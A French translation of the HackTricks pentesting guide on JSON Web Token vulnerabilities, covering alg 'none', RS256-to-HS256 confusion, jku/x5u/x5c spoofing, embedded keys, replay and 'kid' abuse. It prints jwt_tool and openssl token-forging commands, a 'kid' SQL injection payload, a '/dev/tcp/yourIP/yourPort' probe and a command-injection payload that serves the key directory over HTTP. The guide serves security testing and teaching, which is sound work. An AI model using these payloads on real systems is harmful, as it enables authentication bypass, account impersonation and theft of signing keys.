# Vulnérabilités JWT (Json Web Tokens)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](<../.gitbook/assets/image (638) (3).png>) **Conseil pour les bug bounties** : **inscrivez-vous** sur **Intigriti**, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} **Une partie de ce post a été prise de :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **Auteur du super outil pour pentester les JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) ### **Gains Rapides** Exécutez [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) avec le mode `All Tests!` et attendez les lignes vertes ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` Si vous avez de la chance, l'outil trouvera un cas où l'application web vérifie incorrectement le JWT : ![](<../.gitbook/assets/image (435).png>) Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant jwt_tool : ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` ### Altération des données sans rien modifier Vous pouvez simplement altérer les données en laissant la signature telle quelle et vérifier si le serveur contrôle la signature. Essayez de changer votre nom d'utilisateur en "admin" par exemple. #### **Le jeton est-il vérifié ?** * Si un message d'erreur apparaît, la signature est vérifiée - lisez toute information d'erreur verbeuse qui pourrait révéler quelque chose de sensible. * Si la page retournée est différente, la signature est vérifiée. * Si la page est la même, alors la signature n'est pas vérifiée - il est temps de commencer à altérer les revendications du Payload pour voir ce que vous pouvez faire ! ### Origine Vérifiez où le jeton a été généré dans l'historique des requêtes de votre proxy. Il devrait être créé sur le serveur, et non sur le client. * S'il a été vu pour la première fois venant du côté client, alors la **clé** est accessible au code côté client - cherchez-la ! * S'il a été vu pour la première fois venant du serveur, tout va bien. ### Durée Vérifiez si le jeton dure plus de 24h... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement. ### Forcer le secret HMAC [**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt) ### Modifier l'algorithme en Aucun (CVE-2015-9235) Définissez l'algorithme utilisé comme "Aucun" et supprimez la partie signature. Utilisez l'extension Burp appelée "JSON Web Token" pour essayer cette vulnérabilité et pour changer différentes valeurs à l'intérieur du JWT (envoyez la requête au Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également sélectionner de mettre la valeur du champ "Alg" sur "Aucun"). ### Changer l'algorithme RS256(asymétrique) en HS256(symétrique) (CVE-2016-5431/CVE-2016-10555) L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.\ L'algorithme RS256 utilise la clé privée pour signer le message et la clé publique pour l'authentification. Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature. Ensuite, en utilisant la clé publique et en changeant de RS256 à HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci : ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` ### Nouvelle clé publique dans l'en-tête Un attaquant intègre une nouvelle clé dans l'en-tête du jeton et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114). Cela peut être fait avec l'extension "JSON Web Tokens" de Burp.\ (Envoyez la requête au Repeater, dans l'onglet JSON Web Token sélectionnez "CVE-2018-0114" et envoyez la requête). ### Usurpation JWKS Si le jeton utilise une revendication d'en-tête "jku", alors vérifiez l'URL fournie. Celle-ci devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Altérez le jeton pour que la valeur jku pointe vers un service web dont vous pouvez surveiller le trafic. Si vous obtenez une interaction HTTP, vous savez maintenant que le serveur essaie de charger les clés depuis l'URL que vous fournissez. _Utilisez le drapeau -S de jwt\_tool en combinaison avec l'argument -u_ [_http://example.com_](http://example.com) _pour générer une nouvelle paire de clés, injecter votre URL fournie, générer un JWKS contenant la clé publique, et signer le jeton avec la clé privée_ ### Problèmes de "kid" `kid` est une revendication d'en-tête optionnelle qui contient un identifiant de clé, particulièrement utile lorsque vous avez plusieurs clés pour signer les jetons et que vous devez rechercher la bonne pour vérifier la signature. #### Problèmes de "kid" - révéler la clé Si la revendication "kid" est utilisée dans l'en-tête, vérifiez le répertoire web pour ce fichier ou une variation de celui-ci. Par exemple, si `"kid":"key/12345"`, alors cherchez _/key/12345_ et _/key/12345.pem_ à la racine du web. #### Problèmes de "kid" - traversée de chemin Si la revendication "kid" est utilisée dans l'en-tête, vérifiez si vous pouvez utiliser un fichier différent dans le système de fichiers. Choisissez un fichier dont vous pourriez prédire le contenu, ou essayez peut-être `"kid":"/dev/tcp/votreIP/votrePort"` pour tester la connectivité, ou même certains payloads **SSRF**...\ _Utilisez le drapeau -T de jwt\_tool pour altérer le JWT et changer la valeur de la revendication kid, puis choisissez de conserver la signature originale_ ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` En utilisant des fichiers à l'intérieur de l'hôte avec un contenu connu, vous pouvez également forger un JWT valide. Par exemple, dans les systèmes Linux, le fichier `/proc/sys/kernel/randomize_va_space` a la valeur définie à **2**. Ainsi, en mettant ce **chemin** à l'intérieur du paramètre "**kid**" et en utilisant "**2**" comme **mot de passe symétrique** pour générer le JWT, vous devriez pouvoir générer un nouveau JWT valide. #### Problèmes de "kid" - Injection SQL Dans un scénario où le contenu du "kid" est utilisé pour récupérer le mot de passe de la base de données, vous pourriez modifier le contenu à l'intérieur du paramètre "kid" pour : `non-existent-index' UNION SELECT 'ATTACKER';-- -` et ensuite signer le JWT avec la clé secrète `ATTACKER`. #### Problèmes de "kid" - Injection OS Dans un scénario où le paramètre "kid" contient un chemin vers le fichier avec la clé et que ce chemin est utilisé **à l'intérieur d'une commande exécutée**, vous pourriez être capable d'obtenir une exécution de commande à distance (RCE) et exposer la clé privée avec une charge utile comme la suivante : `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` ### Attaques diverses Les faiblesses suivantes sont connues et doivent être testées. **Attaques de relais entre services** Certaines applications web utilisent un service JWT ‘de confiance’ pour générer et gérer les jetons pour eux. Dans le passé, il est arrivé que des jetons générés pour l'un des clients du service JWT puissent en fait être acceptés par un autre des clients du service JWT.\ Si vous observez que le JWT est émis ou renouvelé via un service tiers, il est utile d'identifier si vous pouvez vous inscrire sur un autre des clients de ce service avec le même nom d'utilisateur/email. Si c'est le cas, essayez de reprendre ce jeton et de le rejouer dans une requête à votre cible. Est-il accepté ? * Si votre jeton est accepté, vous pourriez avoir un problème critique vous permettant de vous faire passer pour le compte de n'importe quel utilisateur. CEPENDANT, soyez conscient que si vous vous inscrivez sur une application tierce, vous devrez peut-être demander la permission pour des autorisations de test plus larges au cas où cela entrerait dans une zone grise légale ! **Le "exp" est-il vérifié ?** La revendication "exp" du Payload est utilisée pour vérifier l'expiration d'un jeton. Comme les JWT sont souvent utilisés en l'absence d'informations de session, ils doivent être manipulés avec soin - dans de nombreux cas, capturer et rejouer le JWT de quelqu'un d'autre vous permettra de vous faire passer pour cet utilisateur.\ Une atténuation contre les attaques de replay JWT (qui est conseillée par le RFC JWT) est d'utiliser la revendication "exp" pour définir un temps d'expiration pour le jeton. Il est également important de mettre en place les vérifications pertinentes dans l'application pour s'assurer que cette valeur est traitée et que le jeton est rejeté lorsqu'il est expiré. Si le jeton contient une revendication "exp" et que le temps de test le permet - essayez de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. _Utilisez le drapeau -R de jwt\_tool pour lire le contenu du jeton, qui comprend l'analyse des horodatages et la vérification de l'expiration (horodatage en UTC)_ * Si le jeton est toujours validé dans l'application, cela peut être un risque de sécurité car le jeton peut NE JAMAIS expirer. ### x5u et jku #### jku jku signifie **JWK Set URL**.\ Si le jeton utilise une revendication d'**En-tête** "jku", alors **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Altérez le jeton pour que la valeur jku pointe vers un service web que vous pouvez surveiller pour le trafic. D'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec **les clés publiques et privées créées et en indiquant le paramètre jku vers le certificat créé.** Pour créer un certificat jku valide, vous pouvez télécharger l'original et changer les paramètres nécessaires. Vous pouvez obtenir les paramètres "e" et "n" à partir d'un certificat public en utilisant : ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") key = RSA.importKey(fp.read()) fp.close() print("n:", hex(key.n)) print("e:", hex(key.e)) ``` #### x5u URL X.509. Une URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés au format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. La sécurité du transport est requise pour transférer les certificats. Essayez de **changer cet en-tête en une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**. Pour forger un nouveau jeton en utilisant un certificat que vous contrôlez, vous devez créer le certificat et extraire les clés publiques et privées : ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec **les clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.** ![](<../.gitbook/assets/image (439).png>) Vous pouvez également exploiter ces deux vulnérabilités **pour des SSRFs**. #### x5c Ce paramètre peut contenir le **certificat en base64** : ![](<../.gitbook/assets/image (440).png>) Si l'attaquant **génère un certificat auto-signé** et crée un token falsifié en utilisant la clé privée correspondante et remplace la valeur du paramètre "x5c" par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le token falsifié serait accepté par le serveur. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` ### Clé publique intégrée (CVE-2018-0114) Si le JWT intègre une clé publique comme dans le scénario suivant : ![](<../.gitbook/assets/image (438).png>) En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données : ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​; e = "AQAB"; const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` Il est possible de générer une nouvelle paire de clés privée/publique, d'intégrer la nouvelle clé publique dans le jeton et de l'utiliser pour générer une nouvelle signature : ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Vous pouvez obtenir "n" et "e" en utilisant ce script nodejs : ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); keyPair = fs.readFileSync("keypair.pem"); const key = new NodeRSA(keyPair); const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` ### JTI (Identifiant JWT) Le champ JTI (Identifiant JWT) fournit un identifiant unique pour un Token JWT. Il peut être utilisé pour empêcher la réutilisation du token.\ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejouement réussi). ### Revendications enregistrées JWT {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} ### Outils {% embed url="https://github.com/ticarpi/jwt_tool" %} \ **Astuce pour les chasses aux bugs**: **inscrivez-vous** sur **Intigriti**, une plateforme de chasse aux bugs premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %}
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).